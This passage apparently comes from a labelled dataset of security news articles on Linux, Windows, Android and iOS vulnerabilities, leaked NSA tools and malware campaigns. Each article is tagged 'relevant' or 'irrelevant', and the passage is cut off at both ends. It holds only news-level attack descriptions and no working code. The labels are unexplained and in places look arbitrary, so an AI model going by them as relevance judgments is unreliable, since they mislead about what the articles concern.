3. Learn Burp Suite for Advanced Web Penetration Testing This course will teach you how to use Burp Suite – a Java-based software platform of tools for performing security testing of web applications – and how to use Burp to automate certain attacks. Burp gives you full control, allowing you to combine advanced manual techniques with state-of-the-art automation, to make your work faster, more efficient, and more fun. With this course, you will learn about different types of web attacks by targeting a test environment based on OWASP Web Goat, a deliberately vulnerable web app used to practice security techniques. 4. Complete Ethical Hacking / Penetration Testing Course This online course will help you discover the art of Penetration Testing and Ethical Hacking. This course will take you through a complete, simulated penetration testing process – Information Gathering, Enumeration, Vulnerability Scanning, Exploitation, and Post Exploitation. By the end of this course, you'll be able to efficiently find and exploit security vulnerabilities in applications or web services manually or using automated scanning tools. 5. Intro to Ethical Hacking Certification As its name suggests, this course will provide you a quick introduction to ethical hacking and how to succeed in the cutthroat IT industry. Since the demand for security professionals is hitting an all-time high, it's a must for you to have a comprehensive knowledge of security hacking and this course will help you jump in on the action. 6. Real World Hacking & Penetration Testing Besides updated Penetration Testing techniques, this 5 hours of immersive course will get you through all up to date ethical hacking tools and techniques. In this course, you'll learn everything a pen-tester does, from exploring attacks on computers, networks, and web applications, to discovering DARKNET and wireless attacks. 7. Learn Kali Linux and Hack Android Mobile Devices This course offers you much-needed knowledge about Kali Linux – one of the popular operating systems of hackers that come with over 300 tools for penetration testing, forensics, hacking and reverse engineering – and its hacking capabilities. Since most of your critical data is stored on your smartphone, cyber criminals take a high interest in targeting smartphones to steal your personal information, especially Android, which is the world's largest mobile operating system. Besides Kali Linux, this course teaches you how to hack Android smartphones and tablets and explore countermeasures to each kind of attack to secure them from hackers. By the end of this course, you'll be able to efficiently use valuable mobile hacking tools like Netcat, Ettercap, and NMAP; set up Virtual Machines, a workspace, and an Android platform; and work with the exploit, Metasploit, and Armitage. 8. Learn How to Pentest using Android from Scratch Last but not the least: This exciting course will help you prevent a variety of common attacks using your Android devices. Basically, it's a penetration testing with Android. This course will help you install NetHunter and Kali Linux on your Android device to perform penetration testing, use your Android device to gain access to any account accessed by devices in your network, create a fake access point in a network and spy on all the data sent on it, explore several exploitation methods to gain full control over a target computer, and discover methods to detect ARP Poisoning Attacks. In short, this online course delves into using Android as a penetration testing tool, using real life scenarios that will give you full control over a variety of computer systems. By course's end, you'll learn how attacks work, how to launch the attack practically, and how to detect and prevent that type of attack from happening. How to Join This Online Training Course All these impressive courses come in a single bundle Ethical Hacking A to Z Bundle that costs you just $39 (after 96% discount) at the THN Deals Store. So, what you are waiting for? Sign up and grab the exclusive discounted deal NOW!",irrelevant
"Linux Kernel Gets Patch For Years-Old Serious Vulnerability Another dangerous vulnerability has been discovered in Linux kernel that dates back to 2009 and affects a large number of Linux distros, including Red Hat, Debian, Fedora, OpenSUSE, and Ubuntu. The latest Linux kernel flaw (CVE-2017-2636), which existed in the Linux kernel for the past seven years, allows a local unprivileged user to gain root privileges on affected systems or cause a denial of service (system crash). Positive Technologies researcher Alexander Popov discovered a race condition issue in the N_HLDC Linux kernel driver – which is responsible for dealing with High-Level Data Link Control (HDLC) data – that leads to double-free vulnerability. ""Double Free"" is one of the most common memory corruption bug that occurs when the application releases same memory location twice by calling the free() function on the same allocated memory. An unauthenticated attacker may leverage this vulnerability to inject and execute arbitrary code in the security context of currently logged in user. The vulnerability affects the majority of popular Linux distributions including Red Hat Enterprise Linux 6, 7, Fedora, SUSE, Debian, and Ubuntu. Since the flaw dates back to June 2009, Linux enterprise servers and devices have been vulnerable for a long time, but according to Positive Technologies, it is hard to say whether this vulnerability has actively been exploited in the wild or not. ""The vulnerability is old, so it is widespread across Linux workstations and servers,"" says Popov. ""To automatically load the flawed module, an attacker needs only unprivileged user rights. Additionally, the exploit doesn't require any special hardware."" The researcher detected the vulnerability during system calls testing with the syzkaller fuzzer, which is a security code auditing software developed by Google. Popov then reported the flaw to kernel.org on February 28, 2017, along with the exploit prototype, as well as provided the patch to fix the issue. The vulnerability has already been patched in the Linux kernel, and the security updates along with the vulnerability details were published on March 7. So, users are encouraged to install the latest security updates as soon as possible, but if unable to apply the patch, the researcher advised blocking the flawed module (n_hdlc) manually to safeguard enterprise as well as home use of the operating system.",relevant
"Microsoft Finally Releases Security Patches For Publicly-Disclosed Critical Flaws After last month's postponement, Microsoft's Patch Tuesday is back with a massive release of fixes that includes patches for security vulnerabilities in Windows and associated software disclosed and exploited since January's patch release. Meanwhile, Adobe has also pushed out security updates for its products, releasing patches for at least seven security vulnerabilities in its Flash Player software. Microsoft patched a total of 140 separate security vulnerabilities across 18 security bulletins, nine of them critical as they allow remote code execution on the affected computer. Microsoft Finally Patches Publicly Disclosed Windows Flaws Among the ""critical"" security updates include a flaw in the SMB (server message block) network file sharing protocol, which had publicly disclosed exploit code since last month. The original patch released last year for this flaw was incomplete. The flaw is a memory corruption issue that could allow remote code execution (RCE) of a malicious code if an attacker sends specially crafted messages to a Microsoft SMBv1 server. All versions of Microsoft Windows are affected by this issue that could allow a remote, unauthenticated attacker to crash systems with denial of service attack. Microsoft admitted: ""Remote code execution vulnerabilities exist in the way that the Microsoft Server Message Block 1.0 (SMBv1) server handles certain requests. An attacker who successfully exploited the vulnerabilities could gain the ability to execute code on the target server. To exploit the vulnerability, in most situations, an unauthenticated attacker could send a specially crafted packet to a targeted SMBv1 server."" Microsoft patched the vulnerability but did not credit Laurent Gaffié, who found the flaw last year and released the exploit code in February. Microsoft Also Patches Flaws Uncovered By Google Another critical patch (MS17-013) contains a dozen of serious flaws in Windows' Graphics Component GDI Library used in Office, Skype, Lync, and Silverlight. The flaws reside in the way Windows handles certain image files. Hackers can exploit the weaknesses to achieve remote code execution on your system by making you visit a booby-trapped website or open a malware-ridden document. No further user interaction is needed. Google's Project Zero also disclosed this flaw with proof-of-concept exploit late last month before Microsoft had fixed it. All supported releases of Microsoft Windows back to Windows Vista are vulnerable to this flaw. The tech giant originally patched this issue in June last year, but the patch was incomplete. Microsoft also patched seven other critical flaws, including two cumulative updates for Internet Explorer and its Edge browser, and nine important ones. In late last month, Google's Project Zero research team publicly disclosed details and proof-of-concept exploit for a code execution flaw in Microsoft's Internet Explorer and Edge browsers that could allow attackers to cause a crash of the browsers. Meanwhile, Adobe also released patches for its Flash Player software for Windows, Macintosh, Linux and Chrome OS. Users are advised to apply Windows as well as Adobe patches to keep away hackers and cybercriminals from taking control over your computer.",relevant
"Hundreds of High-Profile Twitter Accounts Hacked through 3rd-Party App In a large-scale Twitter hack, thousands of Twitter accounts from media outlets to celebrities, including the European Parliament, Forbes, BlockChain, Amnesty International, UNICEF, Nike Spain and numerous other individuals and organizations, were compromised early Wednesday. The compromised Twitter accounts is pushing a disturbing spam message written in Turkish comparing the Dutch to the Nazis, with Swastikas and a ""#NaziHollanda"" or ""#Nazialmanya"" (Nazi Germany) hashtag, and changed some of the victims' profile pictures to an image of the Turkish flag and Ottoman Empire coat of arms. In addition to the message, the hackers are also posting a link to a YouTube video and the Twitter account Sebo. According to the latest reports, this weird Twitter activity on numerous high-profile accounts is the result of a vulnerability in the third-party app called Twitter Counter. Twitter Counter is a social media analytics service that helps Twitter users to track their stats and also offers a variety of widgets and buttons. ""We're aware that our service was hacked and have started an investigation into the matter. We've already taken measures to contain such abuse"", Twitter Counter said on Twitter. However, the company has made it very clear that no ""Twitter account credentials (passwords)"" or ""credit card information"" has been compromised, as the company does not store this information on users. TIP — Revoke TwitterCounter app permissions immediately to protect your Twitter Account from being hacked. CLICK TO TWEET Twitter Counter is actively working on fixing the issue over its end. ""Assuming this abuse is indeed done using our system, we've blocked all ability to post tweets and changed our Twitter app key,"" the company said on Twitter. Although many of the compromised Twitter accounts have seemed to have taken back control from hackers, the embarrassed tweets are still visible on many compromised accounts. Forbes appears to have regained access to their Twitter accounts, but are still in the process of getting fully restored. For instance, Forbes Twitter account has an egg avatar, at the time of writing. How To Protect Your Twitter Account twittercounter Since the attack appears to be coming through a vulnerability in the third-party app, users are advised to revoke permission to this app, as well as other unnecessary third party apps. If you have ever used Twitter Counter, you should: Go to ""Settings and Privacy."" Click on the ""Apps"" section. Revoke the third-party access to Twitter Counter. Remove old apps that are no longer in use or ones you don't recognise. Also, if you haven't yet, you are strongly advised to enable two-factor authentication on your account via the account settings section of Twitter. This will help you protect your accounts against password attacks in the future. Besides enabling 2FA, always choose a strong password for your accounts. If you are unable to create and remember different passwords for each site, you can use a good password manager.",irrelevant
"WikiLeaks Won't Disclose CIA Exploits To Companies Until Certain Demands Are Met It's been over a week since Wikileaks promised to hand over more information on hacking tools and tactics of the Central Intelligence Agency (CIA) to the affected tech companies, following a leak of a roughly 8,761 documents that Wikileaks claimed belonged to CIA hacking units. ""We have decided to work with them, to give them some exclusive access to some of the technical details we have, so that fixes can be pushed out,"" WikiLeaks' founder Julian Assange said during a Facebook Live press conference last week. However, it looks like the things aren't that easier for tech companies as they look. After days of waiting, Assange made its first contact with Apple, Microsoft, and Google this week and finally made his intentions clear – no sharing of bugs and vulnerabilities the CIA is or was allegedly taking advantage of until certain demands are met. Multiple anonymous sources familiar with the matter told Motherboard that Assange sent an email to Apple, Google, Microsoft and other companies mentioned in the Vault 7 Leak this week and instead of reporting the bugs and exploits found in the leaked CIA documents, he made some demands. A document included in the email listed ""a series of conditions"" that the tech companies need to fulfill before gaining access to the actual technical details and code of the hacking tools the anti-secrecy organization has in its possession. Although the exact conditions are still unclear, one of the sources mentioned a 90-day disclosure deadline, which would require tech companies to issue a patch for the vulnerabilities within a three-month timeframe. It's also not clear if any of the affected tech companies plan to comply with Wikileaks' demands. While major tech companies like Apple, Google and Microsoft said that their recent security updates had already fixed the bugs mentioned in Vault 7, they would probably need to check out what WikiLeaks has in its store to ensure proper deployment of patches. What will happen next is entirely unclear, but since the CIA has had its hacking arsenal public, the best option for the agency is to personally disclose all those loopholes and exploits to the affected companies to keep itself and its citizens safe from hackers as well as foreign government. ""WikiLeaks and the government hold all the cards here, there's not much the tech companies can do on their own besides rabidly looking through their code to look for any issues that might be related,"" one of the anonymous sources said. Vault 7 is just the beginning of WikiLeaks' Year Zero disclosure, as the group promised to release more from the government and intelligence agencies in coming weeks.",irrelevant
"Millions Of Smartphones Using Broadcom Wi-Fi Chip Can Be Hacked Over-the-Air Millions of smartphones and smart gadgets, including Apple iOS and many Android handsets from various manufacturers, equipped with Broadcom Wifi chips are vulnerable to over-the-air hijacking without any user interaction. Just yesterday, Apple rushed out an emergency iOS 10.3.1 patch update to address a serious bug that could allow an attacker within same Wifi network to remotely execute malicious code on the Broadcom WiFi SoC (Software-on-Chip) used in iPhones, iPads, and iPods. The vulnerability was described as the stack buffer overflow issue and was discovered by Google's Project Zero staffer Gal Beniamini, who today detailed his research on a lengthy blog post, saying the flaw affects not only Apple but all those devices using Broadcom's Wi-Fi stack. Beniamini says this stack buffer overflow issue in the Broadcom firmware code could lead to remote code execution vulnerability, allowing an attacker in the smartphone's WiFi range to send and execute code on the device. Attackers with high skills can also deploy malicious code to take full control over the victim's device and install malicious apps, like banking Trojans, ransomware, and adware, without the victim's knowledge. In his next blog post that's already on its way, Beniamini will explain how attackers can use their assumed control of the Wi-Fi SoC in order to further escalate their privileges into the application processor, taking over the host's operating system. Over-the-Air Broadcom Wi-Fi SoC Hack hack-android-phone According to the researcher, the firmware running on Broadcom WiFi SoC can be tricked into overrunning its stack buffers, which allowed him to send carefully crafted WiFi frames, with abnormal values, to the Wi-Fi controller in order to overflow the firmware's stack. Beniamini then combined this value with the frequent timer firings of the chipset to gradually overwrite specific chunks of device's memory (RAM) until his malicious code is executed. So, to exploit the flaw, an attacker needs to be within the WiFi range of the affected device to silently take over it. ""While the firmware implementation on the Wi-Fi SoC is incredibly complex, it still lags behind in terms of security,"" Beniamini explains. ""Specifically, it lacks all basic exploit mitigations – including stack cookies, safe unlinking and access permission protection."" The researcher also detailed a proof-of-concept Wi-Fi remote code execution exploit in the blog post and successfully performed it on a then-fully updated (now fixed) Nexus 6P, running Android 7.1.1 version NUF26K – the latest available Nexus device at the time of testing in February. The flaw is one of the several vulnerabilities discovered by Beniamini in the firmware version 6.37.34.40 of Broadcom Wi-Fi chips. Security Patch for Nexus & iOS Released; Others Have to Wait! Google Project Zero team reported the issue to Broadcom in December. Since the flaw is in Broadcom's code, smartphone makers had to wait for a patch from the chip vendor before testing the patch and pushing it out to their own user base. Both Apple and Google addressed the vulnerability with security updates released on Monday, with Google delivering updates via its Android April 2017 Security Bulletin and Apple releasing the iOS 10.3.1 update. The flaw still affects most Samsung flagship devices, including Galaxy S7 (G930F, G930V), Galaxy S7 Edge (G935F, G9350), Galaxy S6 Edge (G925V), Galaxy S5 (G900F), and Galaxy Note 4 (N910F), the researcher says. For more technical details head on to the blog post published by Google Project Zero team today.",relevant
"Hack'em If You Can — U.S. Air Force launches Bug Bounty Program With the growing number of data breaches and cyber attacks, a significant number of companies and organizations have started Bug Bounty programs for encouraging hackers and bug hunters to find and responsibly report vulnerabilities in their services and get rewarded. Now, following the success of the ""Hack the Pentagon"" and ""Hack the Army"" initiatives, the United States Department of Defense (DoD) has announced the launch of the ""Hack the Air Force"" bug bounty program. Hacking or breaking into Defense Department networks was illegal once, but after ""Hack the Pentagon"" initiative, the DoD started rewarding outsiders to finding and reporting weaknesses in its private networks. ""This is the first time the AF [Air Force] has opened up...networks to such a broad scrutiny,"" Peter Kim, the Air Force Chief Information Security Officer said in a statement. ""We have malicious hackers trying to get into our systems every day."" ""It'll be nice to have friendly hackers taking a shot and, most importantly, showing us how to improve our cyber security and defense posture. The additional participation from our partner nations greatly widens the variety of experience available to find additional unique vulnerabilities."" The ""Hack the Air Force"" program is directed by HackerOne, the bug bounty startup that was behind Hack the Pentagon, and Luta Security, the security consulting company driving the U.K. program. Hackers From The Five Eyes Nations Are Invited This program will be the DoD's largest bug bounty project as it invites experts and white hat hackers not only from the United States, but also from remaining Five Eyes countries: the United Kingdom, Canada, Australia and New Zealand. So, only Hackers and bug hunters from the Five Eyes intelligence alliance are eligible to participate in Hack the Air Force. ""This outside approach – drawing on the talent and expertise of our citizens and partner nation citizens – in identifying our security vulnerabilities will help bolster our cyber security,"" said Air Force Chief of Staff Gen. David L. Goldfein. ""We already aggressively conduct exercises and 'red team' our public facing and critical websites. But this next step throws open the doors and brings additional talent onto our cyber team."" Only Vetted Hackers Can Participate Only ""Vetted Hackers"" can participate in Hack the Air Force program, which means the candidates must pass a rigorous background test after registration and have a clean criminal record in order to participate in the program. However, according to some critics, this process excludes many talented hackers and bug hunters, but this is one of the common conditions across all of the Pentagon's bug bounty programs. Registration for ""Hack the Air Force"" will start on May 15 and interested participants should register through HackerOne. The contest will launch on May 30 and last until June 23. The first DoD bug bounty program, ""Hack the Pentagon,"" came in April 2016, in which over 14,000 participating hackers found 138 vulnerabilities in DoD systems and were awarded over $75,000 in bounties. Just like Bug Bounty programs offered by several Frontliners in the technology industry, Hack the Air Force is also an exercise for the federal authorities to boost up their security measures and counter the cyber attacks.",irrelevant
"Update Your Apple Devices to iOS 10.3.1 to Avoid Being Hacked Over Wi-Fi Note: We have published a follow-up article with more technical details about this vulnerability which resides in Broadcom WiFi SoC equipped not only in Apple devices, but also in Android devices from various manufacturers. Less than a week after Apple released iOS 10.3 with over 100 bug fixes and security enhancements; the company has just pushed an emergency patch update – iOS 10.3.1 – to addresses a few critical vulnerabilities, one of which could allow hackers to ""execute arbitrary code on the Wi-Fi chip."" The vulnerability, identified as CVE-2017-6975, was discovered by Google's Project Zero staffer Gal Beniamini, who noted on Twitter that more information about the flaw would be provided tomorrow. Apple also did not provide any technical details on the flaw, but urged Apple iPhone, iPad and iPod Touch users to update their devices as soon a possible. In the security note accompanying iOS 10.3.1, Apple describes the issue as a stack buffer overflow vulnerability, which the company addressed by improving the input validation. A stack buffer overflow flaw occurs when the execution stack grows beyond the memory that is reserved for it, allowing hackers to execute malicious code remotely. The flaw allows an attacker, within range, to execute malicious code on the phone's Wi-Fi chip. The vulnerability appears to affect iPhone 5 and later, iPad 4th generation and later, and iPod touch 6th generation, and later devices running the iOS 10.3 operating system. It's worth mentioning that iPhone 5 and iPhone 5C were Apple's last iPhone handsets to have a 32-bit processor with Apple A6 system on a chip. Since iPhone 5S has a 64-bit processor, it is not affected by the issue. To know more technical details about the flaw, you are required to wait until tomorrow when Beniamini will release a detailed blog post describing the bug and its impact on Apple users. With iOS 10.3 release, an over-the-air download for 32-bit Apple devices wasn't available. This has also being changed with iOS 10.3.1 update, which brings back support for iPhone 5 and 5C as well as the fourth-generation iPad -- the only remaining 32-bit Apple devices. The iOS 10.3.1 update can be downloaded over-the-air via Settings → General → Software Update on your iOS device. Apple users running iOS 10.3 should be able to see the iOS 10.3.1 update, so press on the ""Download and Install"" button to install the update.",relevant
"Unpatched Microsoft Word Flaw is Being Used to Spread Dridex Banking Trojan If you are a regular reader of The Hacker News, you might be aware of an ongoing cyber attack — detected in the wild by McAfee and FireEye — that silently installs malware on fully-patched computers by exploiting an unpatched Microsoft Word vulnerability in all current versions of Microsoft Office. Now, according to security firm Proofpoint, the operators of the Dridex malware started exploiting the unpatched Microsoft Word vulnerability to spread a version of their infamous Dridex banking trojan. Dridex is currently one of the most dangerous banking trojans on the Internet that exhibits the typical behavior of monitoring a victim's traffic to bank sites by infiltrating PCs and stealing victim's online banking credentials and financial data. The Dridex actors usually relied on macro-laden Word files to distribute the malware through spam messages or emails. However, this is the first time when researchers found the Dridex operators using an unpatched zero-day flaw in Microsoft Word for distributing their banking trojan. microsoft-word-flaw-dridex-banking-trojan According to a blog post published Monday night by Proofpoint, the latest Dridex spam campaign is delivering Word documents weaponized with this zero-day to millions of recipients across several organizations, including banks primarily located in Australia. ""Emails in this campaign used an attached Microsoft Word RTF (Rich Text Format) document. Messages purported to be from ""[device]@[recipient's domain]."" [Device] may be ""copier"", ""documents"", ""noreply"", ""no-reply"", or ""scanner"","" Proofpoint researchers say. ""The subject line in all cases read ""Scan Data"" and included attachments named ""Scan_123456.doc"" or ""Scan_123456.pdf"", where ""123456"" was replaced with random digits...the spoofed email domains and the common practice of emailing digitized versions of documents make the lures fairly convincing."" As we reported on Saturday, this zero-day flaw is severe because it gives hackers power to bypass most exploit mitigations developed by Microsoft, and unlike past Word exploits seen in the wild, it doesn't require victims to enable Macros. Moreover, given the danger of Dridex – also known as Bugat and Cridex – banking trojan, people are strongly advised not to open Word documents attached to an email from anyone, even if you know the sender until Microsoft releases a patch. Microsoft knew of the flaw very long ago According to researchers at McAfee and FireEye, Microsoft has known of the remote code flaw since January and could release a patch for the vulnerability today, as part of its regular Patch Tuesday routine. However, an independent security researcher Ryan Hanson claimed that he discovered this 0-day, along with the two other flaws, in July and reported it to Microsoft in October 2016. ""The initial discovery was in July, which was followed up by additional research and the identification of a protected view bypass vulnerability. Those two bugs and an additional Outlook bug were submitted to MS in October,"" Hanson told The Hacker News. ""There may very well be additional HTA related vectors in Office, but based on the detail provided by McAfee, the vulnerability they've identified functions exactly like the one I disclosed. The only difference I see is the VBScript payload, since my payload simply executed calc.exe."" If the claims made by Hanson is true and his reported vulnerability is the same being used in the wild to spread Dridex, Microsoft left its customers vulnerable to the attacks even after being known of the critical flaw for quite long. Enable 'Protected View' in Microsoft Office to Prevent Attack Since the attack does not work when a malicious document is viewed in Office Protected View, users are advised to enable this feature in order to view any Office documents. For more technical details about the latest Dridex malware campaign exploiting the unpatched Microsoft Word flaw, you can head on to the blog post published by Proofpoint.",relevant
"Leaked NSA Hacking Tools Being Used to Hack Thousands of Vulnerable Windows PCs Script kiddies and online criminals around the world have reportedly started exploiting NSA hacking tools leaked last weekend to compromise hundreds of thousands of vulnerable Windows computers exposed on the Internet. Last week, the mysterious hacking group known as Shadow Brokers leaked a set of Windows hacking tools targeting Windows XP, Windows Server 2003, Windows 7 and 8, and Windows 2012, allegedly belonged to the NSA's Equation Group. What's Worse? Microsoft quickly downplayed the security risks by releasing patches for all exploited vulnerabilities, but there are still risks in the wild with unsupported systems as well as with those who haven't yet installed the patches. Multiple security researchers have performed mass Internet scans over the past few days and found tens of thousands of Windows computers worldwide infected with DoublePulsar, a suspected NSA spying implant, as a result of a free tool released on GitHub for anyone to use. Security researchers from Switzerland-based security firm Binary Edge performed an Internet scan and detected more than 107,000 Windows computers infected with DoublePulsar. A separate scan done by Errata Security CEO Rob Graham detected roughly 41,000 infected machines, while another by researchers from Below0day detected more than 30,000 infected machines, a majority of which were located in the United States. The impact? DoublePulsar is a backdoor used to inject and run malicious code on already infected systems, and is installed using the EternalBlue exploit that targets SMB file-sharing services on Microsoft's Windows XP to Server 2008 R2. Therefore, to compromise a machine, it must be running a vulnerable version of Windows OS with an SMB service expose to the attacker. Both DoublePulsar and EternalBlue are suspected as Equation Group tools and are now available for any script kiddie to download and use against vulnerable computers. Once installed, DoublePulsar used hijacked computers to sling malware, spam online users, and launch further cyber attacks on other victims. To remain stealthy, the backdoor doesn't write any files to the PCs it infects, preventing it from persisting after an infected PC is rebooted. While Microsoft has already patched majority of the exploited flaws in affected Windows operating systems, those who have not patched are vulnerable to exploits such as EternalBlue, EternalChampion, EternalSynergy, EternalRomance, EmeraldThread, and EducatedScholar. Moreover, systems that are still using end-of-life platforms like Windows XP, Windows Server 2003, and IIS 6.0, which no longer received security updates, are also vulnerable to the in-the-wild exploits. Since it takes hackers roughly a few hours to download the Shadow Brokers dump, scan the Internet with the tool released on Monday, and deliver hacking exploits, researchers are expecting more vulnerable and unpatched computers to fall victims to DoublePulsar. After this news had broken, Microsoft officials released a statement saying: ""We doubt the accuracy of the reports and are investigating."" Meanwhile, Windows users who haven't applied MS17-010 by now are strongly advised to download and deploy the patches as soon as possible.",relevant
"All Android Phones Vulnerable to Extremely Dangerous Full Device Takeover Attack Researchers have discovered a new attack, dubbed 'Cloak and Dagger', that works against all versions of Android, up to version 7.1.2. Cloak and Dagger attack allows hackers to silently take full control of your device and steal private data, including keystrokes, chats, device PIN, online account passwords, OTP passcode, and contacts. What's interesting about Cloak and Dagger attack? The attack doesn't exploit any vulnerability in Android ecosystem; instead, it abuses a pair of legitimate app permissions that is being widely used in popular applications to access certain features on an Android device. Researchers at Georgia Institute of Technology have discovered this attack, who successfully performed it on 20 people and none of them were able to detect any malicious activity. Cloak and Dagger attacks utilise two basic Android permissions: SYSTEM_ALERT_WINDOW (""draw on top"") BIND_ACCESSIBILITY_SERVICE (""a11y"") The first permission, known as ""draw on top,"" is a legitimate overlay feature that allows apps to overlap on a device's screen and top of other apps. The second permission, known as ""a11y,"" is designed to help disabled, blind and visually impaired users, allowing them to enter inputs using voice commands, or listen content using screen reader feature. Scary Things Hackers Can Do to Your Android (Demo) Since the attack does not require any malicious code to perform the trojanized tasks, it becomes easier for hackers to develop and submit a malicious app to Google Play Store without detection. Unfortunately, it's a known fact that the security mechanisms used by Google are not enough to keep all malware out of its app market. If you are following regular security updates from The Hacker News, you must be better aware of frequent headlines like, ""hundreds of apps infected with adware targeting play store users,"" and ""ransomware apps found on play store."" Just last month, researchers uncovered several Android apps masqueraded as an innocent ""Funny Videos"" app on Play Store with over 5,000 downloads but distributed the 'BankBot banking Trojan' that steal victims' banking passwords. Here's what the researchers explained how they got on the Google Play Store to perform Cloak & Dagger attacks: ""In particular, we submitted an app requiring these two permissions and containing a non-obfuscated functionality to download and execute arbitrary code (attempting to simulate a clearly malicious behavior): this app got approved after just a few hours (and it is still available on the Google Play Store)."" researchers say. Once installed, the researchers say the attacker can perform various malicious activities including: Advanced clickjacking attack Unconstrained keystroke recording Stealthy phishing attack Silent installation of a God-mode app (with all permissions enabled) Silent phone unlocking and arbitrary actions (while keeping the screen off) In short, the attackers can secretly take over your Android device and spy on your every activity you do on your phone. Researchers have also provided the video demonstrations of a series of Cloak and Dagger attacks, which will blow your mind, trust me. Google Can't Fix It, At Least Not So Fast University researchers have already disclosed this new attack vector to Google but noted that since the issue resides in the way Android OS has been designed, involving two of its standard features that behave as intended, the problem could be difficult to resolve. ""Changing a feature is not like fixing a bug,"" said Yanick Fratantonio, the paper's first author. ""System designers will now have to think more about how seemingly unrelated features could interact. Features do not operate separately on the device."" As we reported earlier, Google gives ""SYSTEM_ALERT_WINDOW"" (""draw on top"") permission to all applications directly installed from the official Google Play Store since Android Marshmallow (version 6), launched in October 2015. This feature that lets malicious apps hijack a device's screen is one of the most widely exploited methods used by cyber criminals and hackers to trick unwitting Android users into falling victims for malware and phishing scams. However, Google has planned to change its policy in 'Android O,' which is scheduled for release in the 3rd quarter this year. So, users need to wait for a long, long time, as millions of users are still waiting for Android Nougat (N) from their device manufacturers (OEMs). In other words, the majority of smartphone users will continue to be victimised by ransomware, adware and banking Trojans at least for next one year. Temporary Mitigation The easiest way to disable the Cloak and Dagger attacks in Android 7.1.2 is to turn off the ""draw on top"" permission by heading on to: Settings → Apps → Gear symbol → Special access → Draw over other apps. The universal and easiest way to avoid being hacked is always to download apps from Google Play Store, but only from trusted and verified developers. You are also advised to check app permissions before installing apps. If any app is asking more than what it is meant for, just do not install it.",relevant
"Google Patches 6 Critical Android Mediaserver Bugs in May Security Update In Brief Google has released its monthly security patches for Android this week, addressing 17 critical vulnerabilities, 6 of which affect Android Mediaserver component that could be used to execute malicious code remotely. Besides patches for Mediaserver, Google also fixed 4 critical vulnerabilities related to Qualcomm components discovered in Android handsets, including Google's Nexus 6P, Pixel XL, and Nexus 9 devices. According to the Google security bulletin for Android published Monday, this month's security update is one of the largest security fixes the company ever compiled in a single month. Google has split Android's monthly security bulletin into security ""patch levels"": Partial security patch level (2017-05-01) covers patches for vulnerabilities that are common to all Android devices. Complete security patch level (2017-05-05) includes additional fixes for hardware drivers as well as kernel components that are present only in some devices. Critical RCE Flaw in Android Mediaserver The most severe vulnerability exists in Mediaserver – an Android component that handles the processing of image and video files and has been a source of many issues over the past few years, including the critical Stagefright vulnerabilities. According to the search engine giant, the Mediaserver vulnerability ""could enable remote code execution on an affected device through multiple methods such as email, web browsing, and MMS when processing media files."" In other words, attackers could exploit the Mediaserver vulnerability by tricking users into downloading a specially crafted multimedia file on their devices, or sharing the media file via email or other messaging apps and remotely execute arbitrary code. Interestingly, this vulnerability could be triggered while you sleep, as it's not even necessary for you to open the file because as soon as your device receives the media file, the file system will cause Mediaserver to process it. The vulnerability was discovered in early January and affects Android versions 4.4.4 KitKat through 7.1.2 Nougat. Kernel-level Vulnerabilities in Qualcomm Google has also patched four critical vulnerabilities that stemmed from Qualcomm components and could allow an attacker to gain high-level (root) privileges on an Android device. Two critical vulnerabilities (CVE-2016-10275 and CVE-2016-10276) in Qualcomm bootloader create conditions ripe for an elevation of privilege attacks, enabling ""a local malicious application to execute arbitrary code within the context of the kernel,"" according to the bulletin. Another critical Qualcomm bug (CVE-2017-0604) in power driver could also allow a local malicious application to execute malicious code on the device within the context of the kernel, which is the most privileged area of the OS. No Evidence of Flaws Being Exploited in the Wild Six of the 17 critical patches are addressed with the 2017-05-01 partial security patches, while the remaining 11 critical security flaws affecting various drivers, libraries and bootloaders are patched in the 2017-05-05 complete patch level. Good news is that Google assured its users that there are no reports of any of the security vulnerabilities being exploited in the wild. Google says, having two patch levels ""provide Android partners with the flexibility to more quickly fix a subset of vulnerabilities that are similar across all Android devices."" So, users are strongly advised to download the most recent Android security update to keep their devices protected against any potential attack. Nexus and Pixel devices will receive the complete patch in an over-the-air update in the coming days, or the owners can download it directly from Google's developer site. It's also worth noting that Google revealed last week that the Nexus 6 and Nexus 9, which were released in November 2014, would no longer be ""guaranteed"" to receive security updates after October 2017. A similar timeline has been offered for newer Pixel and Pixel XL handsets of October 2019. After that, the tech giant will only push necessary security fixes to those devices.",relevant
Apple Releases Dozens of Security Patches for Everything ,relevant
"Wanna Cry Again? NSA's Windows 'EsteemAudit' RDP Exploit Remains Unpatched Brace yourselves for a possible 'second wave' of massive global cyber attack, as SMB (Server Message Block) was not the only network protocol whose zero-day exploits created by NSA were exposed in the Shadow Brokers dump last month. Although Microsoft released patches for SMB flaws for supported versions in March and unsupported versions immediately after the outbreak of the WannaCry ransomware, the company ignored to patch other three NSA hacking tools, dubbed ""EnglishmanDentist,"" ""EsteemAudit,"" and ""ExplodingCan."" It has been almost two weeks since WannaCry ransomware began to spread, which infected nearly 300,000 computers in more than 150 countries within just 72 hours, though now it has been slowed down. For those unaware, WannaCry exploited a Windows zero-day SMB bug that allowed remote hackers to hijack PCs running on unpatched Windows OS and then spread itself to other unpatched systems using its wormable capability. EsteemAudit: Over 24,000 PCs Still Vulnerable EsteemAudit is another dangerous NSA-developed Windows hacking tool leaked by the Shadow Brokers that targets RDP service (port 3389) on Microsoft Windows Server 2003 / Windows XP machines. Since Microsoft no longer support Windows Server 2003 and Windows XP and unlike EternalBlue the company has not released any emergency patch for EsteemAudit exploit so far, over 24,000 vulnerable systems remains still exposed on the Internet for anyone to hack. ""Even one infected machine opens your enterprise to greater exploitation,"" say Omri Misgav and Tal Liberman, security researchers at Ensilo cyber security firm who came up with the AtomBombing attack last year and now has released an unofficial patch for EsteemAudit, which we have introduced later in this article. EsteemAudit can also be used as a wormable malware, similar to the WannaCry ransomware, which allows hackers to propagate in the enterprise networks, leaving thousands of systems vulnerable to ransomware, espionage and other malicious attacks. Ransomware authors, such as criminals behind CrySiS, Dharma, and SamSam, who are already infecting computers via RDP protocol using brute force attacks, can leverage EsteemAudit anytime for widespread and damaging attacks like WannaCry. How to Secure Your Computers? shodan-rdp-hacking Due to the havoc caused by WannaCry, SMB service gained all the attention, neglecting RDP. ""Windows XP-based systems currently account for more than 7 percent of desktop operating systems still in use today, and the cyber security industry estimates that more than 600,000 web-facing computers, which host upwards of 175 million websites, still run Windows Server 2003 accounting for roughly 18 percent of the global market share,"" researchers say. Since Microsoft has not released any patch for this vulnerability, users and enterprises are advised to upgrade their systems to the higher versions to secure themselves from EsteenAudit attacks. ""Of the three remaining exploits, ""EnglishmanDentist,"" 